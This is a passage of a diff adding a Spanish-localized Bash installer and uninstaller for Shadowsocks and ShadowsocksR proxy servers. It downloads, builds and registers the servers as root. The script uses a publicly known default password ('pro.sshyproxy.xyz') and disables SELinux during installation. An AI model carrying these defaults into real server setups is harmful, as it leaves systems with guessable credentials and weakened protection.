+    else
+        return 1
+    fi
+}
+
+install_select(){
+    if ! install_check; then
+        echo -e "[${red}Error${plain}] Your OS is not supported to run it!"
+        echo "Please change to CentOS 6+/Debian 7+/Ubuntu 12+ and try again."
+        exit 1
+    fi
+
+    clear
+    while true
+    do
+	selected=2
+    case "${selected}" in
+        1|2|3|4)
+        msg -bar
+        echo "Este Proceso instalara: ${software[${selected}-1]}"
+		echo "   ##Este proceso puede demorar unos minutos##"
+        msg -bar
+        break
+        ;;
+        *)
+        echo -e "[${red}Error${plain}] Please only enter a number [1-4]"
+        ;;
+    esac
+    done
+}
+
+install_prepare_password(){
+    echo "Por favor, introduzca la contraseña para ${software[${selected}-1]}"
+    read -p "(Default Contraseña: pro.sshyproxy.xyz):" shadowsockspwd
+    [ -z "${shadowsockspwd}" ] && shadowsockspwd="pro.sshyproxy.xyz"
+    msg -bar
+    echo "Contraseña = ${shadowsockspwd}"
+    msg -bar
+}
+
+install_prepare_port() {
+    while true
+    do
+    dport=$(shuf -i 9000-19999 -n 1)
+    echo -e "Por favor ingrese un puerto para ${software[${selected}-1]} [1-65535]"
+    read -p "(Default port: ${dport}):" shadowsocksport
+    [ -z "${shadowsocksport}" ] && shadowsocksport=${dport}
+    expr ${shadowsocksport} + 1 &>/dev/null
+    if [ $? -eq 0 ]; then
+        if [ ${shadowsocksport} -ge 1 ] && [ ${shadowsocksport} -le 65535 ] && [ ${shadowsocksport:0:1} != 0 ]; then
+            msg -bar
+            echo "Puerto = ${shadowsocksport}"
+            msg -bar
+            break
+        fi
+    fi
+    echo -e "[${red}Error${plain}] Please enter a correct number [1-65535]"
+    done
+}
+
+install_prepare_cipher(){
+    while true
+    do
+    echo -e "Por favor seleccione la secuencia de cifrado para ${software[${selected}-1]}:"
+    msg -bar
+    if   [[ "${selected}" == "1" || "${selected}" == "4" ]]; then
+        for ((i=1;i<=${#common_ciphers[@]};i++ )); do
+            hint="${common_ciphers[$i-1]}"
+            echo -e "${green}${i}${plain}) ${hint}"
+        done
+		msg -bar
+        read -p "¿Qué cifrado elegirías?(Default: ${common_ciphers[0]}):" pick
+        [ -z "$pick" ] && pick=1
+        expr ${pick} + 1 &>/dev/null
+        if [ $? -ne 0 ]; then
+            echo -e "[${red}Error${plain}] Please enter a number"
+            continue
+        fi
+        if [[ "$pick" -lt 1 || "$pick" -gt ${#common_ciphers[@]} ]]; then
+            echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#common_ciphers[@]}"
+            continue
+        fi
+        shadowsockscipher=${common_ciphers[$pick-1]}
+    elif [ "${selected}" == "2" ]; then
+        for ((i=1;i<=${#r_ciphers[@]};i++ )); do
+            hint="${r_ciphers[$i-1]}"
+            echo -e "${green}${i}${plain}) ${hint}"
+        done
+		msg -bar
+        read -p "¿Qué cifrado elegirías?(Default: ${r_ciphers[1]}):" pick
+        [ -z "$pick" ] && pick=2
+        expr ${pick} + 1 &>/dev/null
+        if [ $? -ne 0 ]; then
+            echo -e "[${red}Error${plain}] Please enter a number"
+            continue
+        fi
+        if [[ "$pick" -lt 1 || "$pick" -gt ${#r_ciphers[@]} ]]; then
+            echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#r_ciphers[@]}"
+            continue
+        fi
+        shadowsockscipher=${r_ciphers[$pick-1]}
+    elif [ "${selected}" == "3" ]; then
+        for ((i=1;i<=${#go_ciphers[@]};i++ )); do
+            hint="${go_ciphers[$i-1]}"
+            echo -e "${green}${i}${plain}) ${hint}"
+        done
+		msg -bar
+        read -p "¿Qué cifrado elegirías?(Default: ${go_ciphers[0]}):" pick
+        [ -z "$pick" ] && pick=1
+        expr ${pick} + 1 &>/dev/null
+        if [ $? -ne 0 ]; then
+            echo -e "[${red}Error${plain}] Please enter a number"
+            continue
+        fi
+        if [[ "$pick" -lt 1 || "$pick" -gt ${#go_ciphers[@]} ]]; then
+            echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#go_ciphers[@]}"
+            continue
+        fi
+        shadowsockscipher=${go_ciphers[$pick-1]}
+    fi
+
+    msg -bar
+    echo "Cifrado = ${shadowsockscipher}"
+    msg -bar
+    break
+    done
+}
+
+install_prepare_protocol(){
+    while true
+    do
+    echo -e "Por favor seleccione el protocolo para ${software[${selected}-1]}:"
+	 msg -bar
+    for ((i=1;i<=${#protocols[@]};i++ )); do
+        hint="${protocols[$i-1]}"
+        echo -e "${green}${i}${plain}) ${hint}"
+    done
+	msg -bar
+    read -p "Que protocolo elegiras(Default: ${protocols[0]}):" protocol
+	msg -bar
+    [ -z "$protocol" ] && protocol=1
+    expr ${protocol} + 1 &>/dev/null
+    if [ $? -ne 0 ]; then
+        echo -e "[${red}Error${plain}] Please enter a number"
+        continue
+    fi
+    if [[ "$protocol" -lt 1 || "$protocol" -gt ${#protocols[@]} ]]; then
+        echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#protocols[@]}"
+        continue
+    fi
+    shadowsockprotocol=${protocols[$protocol-1]}
+    echo "protocol = ${shadowsockprotocol}"
+    msg -bar
+    break
+    done
+}
+
+install_prepare_obfs(){
+    while true
+    do
+    echo -e "Por favor, seleccione obfs para ${software[${selected}-1]}:"
+	msg -bar
+    for ((i=1;i<=${#obfs[@]};i++ )); do
+        hint="${obfs[$i-1]}"
+        echo -e "${green}${i}${plain}) ${hint}"
+    done
+	msg -bar
+    read -p "Qué objs elegirías(Default: ${obfs[0]}):" r_obfs
+    [ -z "$r_obfs" ] && r_obfs=1
+    expr ${r_obfs} + 1 &>/dev/null
+    if [ $? -ne 0 ]; then
+        echo -e "[${red}Error${plain}] Please enter a number"
+        continue
+    fi
+    if [[ "$r_obfs" -lt 1 || "$r_obfs" -gt ${#obfs[@]} ]]; then
+        echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#obfs[@]}"
+        continue
+    fi
+    shadowsockobfs=${obfs[$r_obfs-1]}
+    echo
+    echo "obfs = ${shadowsockobfs}"
+    echo
+    break
+    done
+}
+
+install_prepare_libev_obfs(){
+    if autoconf_version || centosversion 6; then
+        while true
+        do
+        echo -e "Quieres instalar simple-obfs para ${software[${selected}-1]}? [y/n]"
+        read -p "(default: n):" libev_obfs
+        [ -z "$libev_obfs" ] && libev_obfs=n
+        case "${libev_obfs}" in
+            y|Y|n|N)
+            msg -bar
+            echo "Tu eliges = ${libev_obfs}"
+            msg -bar
+            break
+            ;;
+            *)
+            echo -e "[${red}Error${plain}] Please only enter [y/n]"
+            ;;
+        esac
+        done
+
+        if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then
+            while true
+            do
+            echo -e "Por favor, seleccione obfs para simple-obfs:"
+			msg -bar
+            for ((i=1;i<=${#obfs_libev[@]};i++ )); do
+                hint="${obfs_libev[$i-1]}"
+                echo -e "${green}${i}${plain}) ${hint}"
+            done
+			msg -bar
+            read -p "Qué objs elegirías(Default: ${obfs_libev[0]}):" r_libev_obfs
+            [ -z "$r_libev_obfs" ] && r_libev_obfs=1
+            expr ${r_libev_obfs} + 1 &>/dev/null
+            if [ $? -ne 0 ]; then
+                echo -e "[${red}Error${plain}] Please enter a number"
+                continue
+            fi
+            if [[ "$r_libev_obfs" -lt 1 || "$r_libev_obfs" -gt ${#obfs_libev[@]} ]]; then
+                echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#obfs_libev[@]}"
+                continue
+            fi
+            shadowsocklibev_obfs=${obfs_libev[$r_libev_obfs-1]}
+            echo
+            echo "obfs = ${shadowsocklibev_obfs}"
+            echo
+            break
+            done
+        fi
+    else
+        echo -e "[${green}Info${plain}] autoconf version is less than 2.67, simple-obfs for ${software[${selected}-1]} installation has been skipped"
+    fi
+}
+
+install_prepare(){
+
+    if  [[ "${selected}" == "1" || "${selected}" == "3" || "${selected}" == "4" ]]; then
+        install_prepare_password
+        install_prepare_port
+        install_prepare_cipher
+        if [ "${selected}" == "4" ]; then
+            install_prepare_libev_obfs
+        fi
+    elif [ "${selected}" == "2" ]; then
+        install_prepare_password
+        install_prepare_port
+        install_prepare_cipher
+        install_prepare_protocol
+        install_prepare_obfs
+    fi
+
+    echo "Presiona cualquier tecla para comenzar...o Presione Ctrl+C para cancelar"
+    char=`get_char`
+
+}
+
+install_libsodium(){
+    if [ ! -f /usr/lib/libsodium.a ]; then
+        cd ${cur_dir}
+        download "${libsodium_file}.tar.gz" "${libsodium_url}"
+        tar zxf ${libsodium_file}.tar.gz
+        cd ${libsodium_file}
+        ./configure --prefix=/usr && make && make install
+        if [ $? -ne 0 ]; then
+            echo -e "[${red}Error${plain}] ${libsodium_file} install failed."
+            install_cleanup
+            exit 1
+        fi
+    else
+        echo -e "[${green}Info${plain}] ${libsodium_file} already installed."
+    fi
+}
+
+install_mbedtls(){
+    if [ ! -f /usr/lib/libmbedtls.a ]; then
+        cd ${cur_dir}
+        download "${mbedtls_file}-gpl.tgz" "${mbedtls_url}"
+        tar xf ${mbedtls_file}-gpl.tgz
+        cd ${mbedtls_file}
+        make SHARED=1 CFLAGS=-fPIC
+        make DESTDIR=/usr install
+        if [ $? -ne 0 ]; then
+            echo -e "[${red}Error${plain}] ${mbedtls_file} install failed."
+            install_cleanup
+            exit 1
+        fi
+    else
+        echo -e "[${green}Info${plain}] ${mbedtls_file} already installed."
+    fi
+}
+
+install_shadowsocks_python(){
+    cd ${cur_dir}
+    unzip -q ${shadowsocks_python_file}.zip
+    if [ $? -ne 0 ];then
+        echo -e "[${red}Error${plain}] unzip ${shadowsocks_python_file}.zip failed, please check unzip command."
+        install_cleanup
+        exit 1
+    fi
+
+    cd ${shadowsocks_python_file}
+    python setup.py install --record /usr/local/shadowsocks_python.log
+
+    if [ -f /usr/bin/ssserver ] || [ -f /usr/local/bin/ssserver ]; then
+        chmod +x ${shadowsocks_python_init}
+        local service_name=$(basename ${shadowsocks_python_init})
+        if check_sys packageManager yum; then
+            chkconfig --add ${service_name}
+            chkconfig ${service_name} on
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} defaults
+        fi
+    else
+        echo
+        echo -e "[${red}Error${plain}] ${software[0]} install failed."
+        echo "Please visit: https://teddysun.com/486.html and contact."
+        install_cleanup
+        exit 1
+    fi
+}
+
+install_shadowsocks_r(){
+    cd ${cur_dir}
+    tar zxf ${shadowsocks_r_file}.tar.gz
+    mv ${shadowsocks_r_file}/shadowsocks /usr/local/
+    if [ -f /usr/local/shadowsocks/server.py ]; then
+        chmod +x ${shadowsocks_r_init}
+        local service_name=$(basename ${shadowsocks_r_init})
+        if check_sys packageManager yum; then
+            chkconfig --add ${service_name}
+            chkconfig ${service_name} on
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} defaults
+        fi
+    else
+        echo
+        echo -e "[${red}Error${plain}] ${software[1]} install failed."
+        echo "Please visit; https://teddysun.com/486.html and contact."
+        install_cleanup
+        exit 1
+    fi
+}
+
+install_shadowsocks_go(){
+    cd ${cur_dir}
+    if is_64bit; then
+        gzip -d ${shadowsocks_go_file_64}.gz
+        if [ $? -ne 0 ];then
+            echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_64}.gz failed."
+            install_cleanup
+            exit 1
+        fi
+        mv -f ${shadowsocks_go_file_64} /usr/bin/shadowsocks-server
+    else
+        gzip -d ${shadowsocks_go_file_32}.gz
+        if [ $? -ne 0 ];then
+            echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_32}.gz failed."
+            install_cleanup
+            exit 1
+        fi
+        mv -f ${shadowsocks_go_file_32} /usr/bin/shadowsocks-server
+    fi
+
+    if [ -f /usr/bin/shadowsocks-server ]; then
+        chmod +x /usr/bin/shadowsocks-server
+        chmod +x ${shadowsocks_go_init}
+
+        local service_name=$(basename ${shadowsocks_go_init})
+        if check_sys packageManager yum; then
+            chkconfig --add ${service_name}
+            chkconfig ${service_name} on
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} defaults
+        fi
+    else
+        echo
+        echo -e "[${red}Error${plain}] ${software[2]} install failed."
+        echo "Please visit: https://teddysun.com/486.html and contact."
+        install_cleanup
+        exit 1
+    fi
+}
+
+install_shadowsocks_libev(){
+    cd ${cur_dir}
+    tar zxf ${shadowsocks_libev_file}.tar.gz
+    cd ${shadowsocks_libev_file}
+    ./configure --disable-documentation && make && make install
+    if [ $? -eq 0 ]; then
+        chmod +x ${shadowsocks_libev_init}
+        local service_name=$(basename ${shadowsocks_libev_init})
+        if check_sys packageManager yum; then
+            chkconfig --add ${service_name}
+            chkconfig ${service_name} on
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} defaults
+        fi
+    else
+        echo
+        echo -e "[${red}Error${plain}] ${software[3]} install failed."
+        echo "Please visit: https://teddysun.com/486.html and contact."
+        install_cleanup
+        exit 1
+    fi
+}
+
+install_shadowsocks_libev_obfs(){
+    if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then
+        cd ${cur_dir}
+        git clone https://github.com/shadowsocks/simple-obfs.git
+        [ -d simple-obfs ] && cd simple-obfs || echo -e "[${red}Error:${plain}] Failed to git clone simple-obfs."
+        git submodule update --init --recursive
+        if centosversion 6; then
+            if [ ! "$(command -v autoconf268)" ]; then
+                echo -e "[${green}Info${plain}] Starting install autoconf268..."
+                yum install -y autoconf268 > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf268."
+            fi
+            # replace command autoreconf to autoreconf268
+            sed -i 's/autoreconf/autoreconf268/' autogen.sh
+            # replace #include <ev.h> to #include <libev/ev.h>
+            sed -i 's@^#include <ev.h>@#include <libev/ev.h>@' src/local.h
+            sed -i 's@^#include <ev.h>@#include <libev/ev.h>@' src/server.h
+        fi
+        ./autogen.sh
+        ./configure --disable-documentation
+        make
+        make install
+        if [ ! "$(command -v obfs-server)" ]; then
+            echo -e "[${red}Error${plain}] simple-obfs for ${software[${selected}-1]} install failed."
+            echo "Please visit: https://teddysun.com/486.html and contact."
+            install_cleanup
+            exit 1
+        fi
+        [ -f /usr/local/bin/obfs-server ] && ln -s /usr/local/bin/obfs-server /usr/bin
+    fi
+}
+
+install_completed_python(){
+    clear
+    ${shadowsocks_python_init} start
+    msg -bar
+    echo -e "Felicidades, ${green}${software[0]}${plain} instalación del servidor completada!"
+    echo -e "Tu Server IP        : ${red} $(get_ip) ${plain}"
+    echo -e "Tu Server Port      : ${red} ${shadowsocksport} ${plain}"
+    echo -e "Tu Password         : ${red} ${shadowsockspwd} ${plain}"
+    echo -e "Tu Encryption Method: ${red} ${shadowsockscipher} ${plain}"
+}
+
+install_completed_r(){
+    clear
+    ${shadowsocks_r_init} start
+    msg -bar
+    echo -e "Felicidades, ${green}${software[1]}${plain} instalación del servidor completada!"
+    echo -e "Tu Server IP        : ${red} $(get_ip) ${plain}"
+    echo -e "Tu Server Port      : ${red} ${shadowsocksport} ${plain}"
+    echo -e "Tu Password         : ${red} ${shadowsockspwd} ${plain}"
+    echo -e "Tu Protocol         : ${red} ${shadowsockprotocol} ${plain}"
+    echo -e "Tu obfs             : ${red} ${shadowsockobfs} ${plain}"
+    echo -e "Tu Encryption Method: ${red} ${shadowsockscipher} ${plain}"
+}
+
+install_completed_go(){
+    clear
+    ${shadowsocks_go_init} start
+    msg -bar
+    echo -e "Felicidades, ${green}${software[2]}${plain} instalación del servidor completada!"
+    echo -e "Tu Server IP        : ${red} $(get_ip) ${plain}"
+    echo -e "Tu Server Port      : ${red} ${shadowsocksport} ${plain}"
+    echo -e "Tu Password         : ${red} ${shadowsockspwd} ${plain}"
+    echo -e "Tu Encryption Method: ${red} ${shadowsockscipher} ${plain}"
+}
+
+install_completed_libev(){
+    clear
+    ldconfig
+    ${shadowsocks_libev_init} start
+    msg -bar
+    echo -e "Felicidades, ${green}${software[3]}${plain} instalación del servidor completada!"
+    echo -e "Tu Server IP        : ${red} $(get_ip) ${plain}"
+    echo -e "Tu Server Port      : ${red} ${shadowsocksport} ${plain}"
+    echo -e "Tu Password         : ${red} ${shadowsockspwd} ${plain}"
+    if [ "$(command -v obfs-server)" ]; then
+    echo -e "Tu obfs             : ${red} ${shadowsocklibev_obfs} ${plain}"
+    fi
+    echo -e "Tu Encryption Method: ${red} ${shadowsockscipher} ${plain}"
+}
+
+qr_generate_python(){
+    if [ "$(command -v qrencode)" ]; then
+        local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0)
+        local qr_code="ss://${tmp}"
+        echo
+        echo "Tu QR Code: (For Shadowsocks Windows, OSX, Android and iOS clients)"
+        echo -e "${green} ${qr_code} ${plain}"
+        echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_python_qr.png
+        echo "Tu QR Code has been saved as a PNG file path:"
+        echo -e "${green} ${cur_dir}/shadowsocks_python_qr.png ${plain}"
+    fi
+}
+
+qr_generate_r(){
+    if [ "$(command -v qrencode)" ]; then
+        local tmp1=$(echo -n "${shadowsockspwd}" | base64 -w0 | sed 's/=//g;s/\//_/g;s/+/-/g')
+        local tmp2=$(echo -n "$(get_ip):${shadowsocksport}:${shadowsockprotocol}:${shadowsockscipher}:${shadowsockobfs}:${tmp1}/?obfsparam=" | base64 -w0)
+        local qr_code="ssr://${tmp2}"
+        echo
+        echo "Tu QR Code: (For ShadowsocksR Windows, Android clients only)"
+        echo -e "${green} ${qr_code} ${plain}"
+        echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_r_qr.png
+        echo "Tu QR Code has been saved as a PNG file path:"
+        echo -e "${green} ${cur_dir}/shadowsocks_r_qr.png ${plain}"
+    fi
+}
+
+qr_generate_go(){
+    if [ "$(command -v qrencode)" ]; then
+        local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0)
+        local qr_code="ss://${tmp}"
+        echo
+        echo "Tu QR Code: (For Shadowsocks Windows, OSX, Android and iOS clients)"
+        echo -e "${green} ${qr_code} ${plain}"
+        echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_go_qr.png
+        echo "Tu QR Code has been saved as a PNG file path:"
+        echo -e "${green} ${cur_dir}/shadowsocks_go_qr.png ${plain}"
+    fi
+}
+
+qr_generate_libev(){
+    if [ "$(command -v qrencode)" ]; then
+        local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0)
+        local qr_code="ss://${tmp}"
+        echo
+        echo "Tu QR Code: (For Shadowsocks Windows, OSX, Android and iOS clients)"
+        echo -e "${green} ${qr_code} ${plain}"
+        echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_libev_qr.png
+        echo "Tu QR Code has been saved as a PNG file path:"
+        echo -e "${green} ${cur_dir}/shadowsocks_libev_qr.png ${plain}"
+    fi
+}
+
+install_main(){
+    install_libsodium
+    if ! ldconfig -p | grep -wq "/usr/lib"; then
+        echo "/usr/lib" > /etc/ld.so.conf.d/lib.conf
+    fi
+    ldconfig
+
+    if   [ "${selected}" == "1" ]; then
+        install_shadowsocks_python
+        install_completed_python
+        qr_generate_python
+    elif [ "${selected}" == "2" ]; then
+        install_shadowsocks_r
+        install_completed_r
+        qr_generate_r
+    elif [ "${selected}" == "3" ]; then
+        install_shadowsocks_go
+        install_completed_go
+        qr_generate_go
+    elif [ "${selected}" == "4" ]; then
+        install_mbedtls
+        install_shadowsocks_libev
+        install_shadowsocks_libev_obfs
+        install_completed_libev
+        qr_generate_libev
+    fi
+
+    echo
+    echo "Visite: https://pro.sshyproxy.xyz"
+    echo
+}
+
+install_cleanup(){
+    cd ${cur_dir}
+    rm -rf simple-obfs
+    rm -rf ${libsodium_file} ${libsodium_file}.tar.gz
+    rm -rf ${mbedtls_file} ${mbedtls_file}-gpl.tgz
+    rm -rf ${shadowsocks_python_file} ${shadowsocks_python_file}.zip
+    rm -rf ${shadowsocks_r_file} ${shadowsocks_r_file}.tar.gz
+    rm -rf ${shadowsocks_go_file_64}.gz ${shadowsocks_go_file_32}.gz
+    rm -rf ${shadowsocks_libev_file} ${shadowsocks_libev_file}.tar.gz
+}
+
+install_shadowsocks(){
+    disable_selinux
+    install_select
+    install_prepare
+    install_dependencies
+    download_files
+    config_shadowsocks
+    if check_sys packageManager yum; then
+        config_firewall
+    fi
+    install_main
+    install_cleanup
+}
+
+uninstall_shadowsocks_python(){
+    printf "Estás seguro de desinstalar ${red}${software[0]}${plain}? [y/n]\n"
+    read -p "(default: n):" answer
+    [ -z ${answer} ] && answer="n"
+    if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then
+        ${shadowsocks_python_init} status > /dev/null 2>&1
+        if [ $? -eq 0 ]; then
+            ${shadowsocks_python_init} stop
+        fi
+        local service_name=$(basename ${shadowsocks_python_init})
+        if check_sys packageManager yum; then
+            chkconfig --del ${service_name}
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} remove
+        fi
+
+        rm -fr $(dirname ${shadowsocks_python_config})
+        rm -f ${shadowsocks_python_init}
+        rm -f /var/log/shadowsocks.log
+        if [ -f /usr/local/shadowsocks_python.log ]; then
+            cat /usr/local/shadowsocks_python.log | xargs rm -rf
+            rm -f /usr/local/shadowsocks_python.log
+        fi
+        echo -e "[${green}Info${plain}] ${software[0]} uninstall success"
+    else
+        echo
+        echo -e "[${green}Info${plain}] ${software[0]} uninstall cancelled, nothing to do..."
+        echo
+    fi
+}
+
+uninstall_shadowsocks_r(){
+    printf "Estás seguro de desinstalar ${red}${software[1]}${plain}? [y/n]\n"
+    read -p "(default: n):" answer
+    [ -z ${answer} ] && answer="n"
+    if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then
+        ${shadowsocks_r_init} status > /dev/null 2>&1
+        if [ $? -eq 0 ]; then
+            ${shadowsocks_r_init} stop
+        fi
+        local service_name=$(basename ${shadowsocks_r_init})
+        if check_sys packageManager yum; then
+            chkconfig --del ${service_name}
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} remove
+        fi
+        rm -fr $(dirname ${shadowsocks_r_config})
+        rm -f ${shadowsocks_r_init}
+        rm -f /var/log/shadowsocks.log
+        rm -fr /usr/local/shadowsocks
+        echo -e "[${green}Info${plain}] ${software[1]} uninstall success"
+    else
+        echo
+        echo -e "[${green}Info${plain}] ${software[1]} uninstall cancelled, nothing to do..."
+        echo
+    fi
+}
+
+uninstall_shadowsocks_go(){
+    printf "Estás seguro de desinstalar ${red}${software[2]}${plain}? [y/n]\n"
+    read -p "(default: n):" answer
+    [ -z ${answer} ] && answer="n"
+    if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then
+        ${shadowsocks_go_init} status > /dev/null 2>&1
+        if [ $? -eq 0 ]; then
+            ${shadowsocks_go_init} stop
+        fi
+        local service_name=$(basename ${shadowsocks_go_init})
+        if check_sys packageManager yum; then
+            chkconfig --del ${service_name}
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} remove
+        fi
+        rm -fr $(dirname ${shadowsocks_go_config})
+        rm -f ${shadowsocks_go_init}
+        rm -f /usr/bin/shadowsocks-server
+        echo -e "[${green}Info${plain}] ${software[2]} uninstall success"
+    else
+        echo
+        echo -e "[${green}Info${plain}] ${software[2]} uninstall cancelled, nothing to do..."
+        echo
+    fi
+}
+
+uninstall_shadowsocks_libev(){
+    printf "Estás seguro de desinstalar ${red}${software[3]}${plain}? [y/n]\n"
+    read -p "(default: n):" answer
+    [ -z ${answer} ] && answer="n"
+    if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then
+        ${shadowsocks_libev_init} status > /dev/null 2>&1
+        if [ $? -eq 0 ]; then
+            ${shadowsocks_libev_init} stop
+        fi
+        local service_name=$(basename ${shadowsocks_libev_init})
+        if check_sys packageManager yum; then
+            chkconfig --del ${service_name}
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} remove
+        fi
+        rm -fr $(dirname ${shadowsocks_libev_config})
+        rm -f /usr/local/bin/ss-local
+        rm -f /usr/local/bin/ss-tunnel
+        rm -f /usr/local/bin/ss-server
+        rm -f /usr/local/bin/ss-manager
+        rm -f /usr/local/bin/ss-redir
+        rm -f /usr/local/bin/ss-nat
+        rm -f /usr/local/bin/obfs-local
+        rm -f /usr/local/bin/obfs-server
+        rm -f /usr/local/lib/libshadowsocks-libev.a
+        rm -f /usr/local/lib/libshadowsocks-libev.la
+        rm -f /usr/local/include/shadowsocks.h
+        rm -f /usr/local/lib/pkgconfig/shadowsocks-libev.pc
+        rm -f /usr/local/share/man/man1/ss-local.1
+        rm -f /usr/local/share/man/man1/ss-tunnel.1
+        rm -f /usr/local/share/man/man1/ss-server.1
+        rm -f /usr/local/share/man/man1/ss-manager.1
+        rm -f /usr/local/share/man/man1/ss-redir.1
+        rm -f /usr/local/share/man/man1/ss-nat.1
+        rm -f /usr/local/share/man/man8/shadowsocks-libev.8
+        rm -fr /usr/local/share/doc/shadowsocks-libev
+        rm -f ${shadowsocks_libev_init}
+        echo -e "[${green}Info${plain}] ${software[3]} uninstall success"
+    else
+        echo
+        echo -e "[${green}Info${plain}] ${software[3]} uninstall cancelled, nothing to do..."
+        echo
+    fi
+}
+
+uninstall_shadowsocks(){
+    while true
+    do
+    echo  "¿Qué servidor de Shadowsocks quieres desinstalar?"
+	msg -bar
+    for ((i=1;i<=${#software[@]};i++ )); do
+        hint="${software[$i-1]}"
+        echo -e "${green}${i}${plain}) ${hint}"
+    done
+	msg -bar
+    read -p "Por favor, introduzca un número[1-4]:" un_select
+    case "${un_select}" in
+        1|2|3|4)
+        msg -bar
+        echo "Tu eliges = ${software[${un_select}-1]}"
+        msg -bar
+        break
+        ;;
+        *)
+        echo -e "[${red}Error${plain}] Please only enter a number [1-4]"
+        ;;
+    esac
+    done
+
+    if   [ "${un_select}" == "1" ]; then
+        if [ -f ${shadowsocks_python_init} ]; then
+            uninstall_shadowsocks_python
+        else
+            echo -e "[${red}Error${plain}] ${software[${un_select}-1]} not installed, please check it and try again."
+            echo
+            exit 1
+        fi
+    elif [ "${un_select}" == "2" ]; then
+        if [ -f ${shadowsocks_r_init} ]; then
+            uninstall_shadowsocks_r
+        else
+            echo -e "[${red}Error${plain}] ${software[${un_select}-1]} not installed, please check it and try again."
+            echo
+            exit 1
+        fi
+    elif [ "${un_select}" == "3" ]; then
+        if [ -f ${shadowsocks_go_init} ]; then
+            uninstall_shadowsocks_go
+        else
+            echo -e "[${red}Error${plain}] ${software[${un_select}-1]} not installed, please check it and try again."
+            echo
+            exit 1
+        fi
+    elif [ "${un_select}" == "4" ]; then
+        if [ -f ${shadowsocks_libev_init} ]; then
+            uninstall_shadowsocks_libev
+        else
+            echo -e "[${red}Error${plain}] ${software[${un_select}-1]} not installed, please check it and try again."
+            echo
+            exit 1
+        fi
+    fi
+}
+
+# Initialization step
+action=$1
+[ -z $1 ] && action=install
+case "${action}" in
+    install|uninstall)
+        ${action}_shadowsocks
+        ;;
+    *)
+        echo "Arguments error! [${action}]"
+        echo "Usage: $(basename $0) [install|uninstall]"
+        ;;
+esac

+ 1385 - 0
LINKS-LIBRERIAS/Instalador-Shadowsocks-libev.sh

@@ -0,0 +1,1385 @@
+#!/usr/bin/env bash
+PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
+export PATH
+#
+# Auto install Shadowsocks Server (all version)
+#
+# Copyright (C) 2016-2019 Teddysun <i@teddysun.com>
+#
+# System Required:  CentOS 6+, Debian7+, Ubuntu12+
+#
+# Reference URL:
+# https://github.com/shadowsocks/shadowsocks
+# https://github.com/shadowsocks/shadowsocks-go
+# https://github.com/shadowsocks/shadowsocks-libev
+# https://github.com/shadowsocks/shadowsocks-windows
+# https://github.com/shadowsocksr-rm/shadowsocksr
+# https://github.com/shadowsocksrr/shadowsocksr
+# https://github.com/shadowsocksrr/shadowsocksr-csharp
+#
+# Thanks:
+# @clowwindy  <https://twitter.com/clowwindy>
+# @breakwa11  <https://twitter.com/breakwa11>
+# @cyfdecyf   <https://twitter.com/cyfdecyf>
+# @madeye     <https://github.com/madeye>
+# @linusyang  <https://github.com/linusyang>
+# @Akkariiin  <https://github.com/Akkariiin>
+# 
+# Intro:  https://teddysun.com/486.html
+
+red='\033[0;31m'
+green='\033[0;32m'
+yellow='\033[0;33m'
+plain='\033[0m'
+
+[[ $EUID -ne 0 ]] && echo -e "[${red}Error${plain}] This script must be run as root!" && exit 1
+
+cur_dir=$( pwd )
+software=(Shadowsocks-Python ShadowsocksR Shadowsocks-Go Shadowsocks-libev)
+
+libsodium_file="libsodium-1.0.17"
+libsodium_url="https://github.com/jedisct1/libsodium/releases/download/1.0.17/libsodium-1.0.17.tar.gz"
+
+mbedtls_file="mbedtls-2.16.0"
+mbedtls_url="https://tls.mbed.org/download/mbedtls-2.16.0-gpl.tgz"
+
+shadowsocks_python_file="shadowsocks-master"
+shadowsocks_python_url="https://github.com/shadowsocks/shadowsocks/archive/master.zip"
+shadowsocks_python_init="/etc/init.d/shadowsocks-python"
+shadowsocks_python_config="/etc/shadowsocks-python/config.json"
+shadowsocks_python_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks"
+shadowsocks_python_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-debian"
+
+shadowsocks_r_file="shadowsocksr-3.2.2"
+shadowsocks_r_url="https://github.com/shadowsocksrr/shadowsocksr/archive/3.2.2.tar.gz"
+shadowsocks_r_init="/etc/init.d/shadowsocks-r"
+shadowsocks_r_config="/etc/shadowsocks-r/config.json"
+shadowsocks_r_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR"
